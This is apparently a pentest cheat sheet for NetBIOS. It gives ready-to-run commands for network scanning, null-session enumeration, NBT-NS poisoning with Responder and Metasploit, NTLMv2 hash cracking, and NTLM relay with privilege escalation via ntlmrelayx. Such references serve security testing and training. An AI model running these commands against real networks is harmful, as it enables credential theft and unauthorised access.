NetBIOS

`Default Ports: 137 (Name Service), 138 (Datagram), 139 (Session)`

NetBIOS (Network Basic Input/Output System) is a network protocol that allows applications on different computers to communicate within a local area network (LAN). It provides services for name resolution, session management, and datagram distribution. NetBIOS is commonly used in Windows networks and often runs alongside SMB. While largely replaced by modern protocols, NetBIOS is still found in many Windows environments.

Connect

Using nbtscan

The nbtscan tool efficiently scans networks for NetBIOS name information on Windows hosts:

```
# Scan network for NetBIOS names
nbtscan 192.168.1.0/24

# Scan specific host
nbtscan target.com

# Verbose output
nbtscan -v target.com

# Output to file
nbtscan 192.168.1.0/24 > netbios_scan.txt
```

Using nmblookup

```
# Lookup NetBIOS name
nmblookup -A target.com
```

```
# Reverse lookup
nmblookup target

# Find master browser
nmblookup -M -- -

# Find workgroup
nmblookup -d 2 '*'
```

Recon

Service Detection with Nmap

Use Nmap to detect NetBIOS services and identify server capabilities.

```
nmap -p 137,138,139 target.com
```

NetBIOS Name Enumeration

NetBIOS names provide valuable information about computer names, workgroups, domains, and running services on Windows systems:

```
# Using nbtscan
nbtscan -r 192.168.1.0/24

# Using nmap
nmap -sU -p 137 --script nbstat target.com

# Using nmblookup
nmblookup -A 192.168.1.100

# Output interpretation:
# <00> = Workstation
# <03> = Messenger service
# <20> = Server service
# <1B> = Domain Master Browser
# <1D> = Master Browser
```

Enumeration

Null Session Enumeration

Null sessions exploit Windows' default behavior of allowing anonymous connections to enumerate sensitive information:

```
# Using enum4linux
enum4linux -a target.com

# Enumerate users
enum4linux -U target.com

# Enumerate shares
enum4linux -S target.com

# Get password policy
enum4linux -P target.com

# Using rpcclient
rpcclient -U "" target.com
# Hit enter for blank password
rpcclient $> enumdomusers
rpcclient $> enumdomgroups
rpcclient $> queryuser 500
```

Share Enumeration

NetBIOS can reveal shared folders and their permissions, often exposing sensitive data:

Attack Vectors

NetBIOS Name Spoofing

```
# Using Responder to capture hashes
```

```
sudo responder -I eth0 -wrf

# NBT-NS poisoning
# When victim searches for \\fileserver
# Responder responds with attacker IP
# Victim connects and sends credentials

# Captured NTLMv2 hash can be cracked
hashcat -m 5600 hash.txt rockyou.txt
```

NBT-NS Poisoning

```
# Using Metasploit
use auxiliary/spoof/nbns/nbns_response
set INTERFACE eth0
set SPOOFIP attacker-ip
run

# Victims will connect to attacker's IP
# Capture credentials or perform MITM
```

Post-Exploitation

Information Gathering

```
# Get computer name, domain, users
enum4linux -a target.com > netbios_enum.txt

# Parse interesting information
grep "Domain Name" netbios_enum.txt
grep "Domain SID" netbios_enum.txt
grep "Password Info" netbios_enum.txt
```

Credential Relay

```
# Captured NetBIOS authentication can be relayed
# Using ntlmrelayx
```

```
ntlmrelayx.py -t target.com -smb2support

# Or relay to LDAP
ntlmrelayx.py -t ldap://dc.domain.com --escalate-user lowpriv_user
```

NetBIOS Name Suffixes

Suffix	Type	Description
<00>	U	Workstation/Redirector
<03>	U	Messenger Service
<06>	U	RAS Server Service
<1B>	U	Domain Master Browser
<1C>	G	Domain Controllers
<1D>	U	Master Browser
<1E>	G	Browser Service Elections
<20>	U	File Server Service

Common Commands

Command	Description	Usage
`nbtscan`	NetBIOS scanner	`nbtscan 192.168.1.0/24`
`nmblookup`	NetBIOS lookup	`nmblookup -A target.com`

Command	Description	Usage
`enum4linux`	Enumeration tool	`enum4linux -a target.com`
`rpcclient`	RPC client	`rpcclient -U "" target.com`

Useful Tools

Tool	Description	Primary Use Case
nbtscan	NetBIOS scanner	Network enumeration
enum4linux	SMB/NetBIOS enum	Information gathering
Responder	LLMNR/NBT-NS poisoner	Credential capture
nmblookup	NetBIOS lookup	Name resolution
rpcclient	RPC interaction	Null session enum
Metasploit	Exploitation framework	Automated testing

Security Misconfigurations

- ❌ NetBIOS enabled on internet-facing hosts
- ❌ Null session allowed
- ❌ No SMB signing
- ❌ NBT-NS/LLMNR enabled
- ❌ Guest account enabled
- ❌ Weak share permissions
- ❌ No network segmentation
- ❌ Information leakage via NetBIOS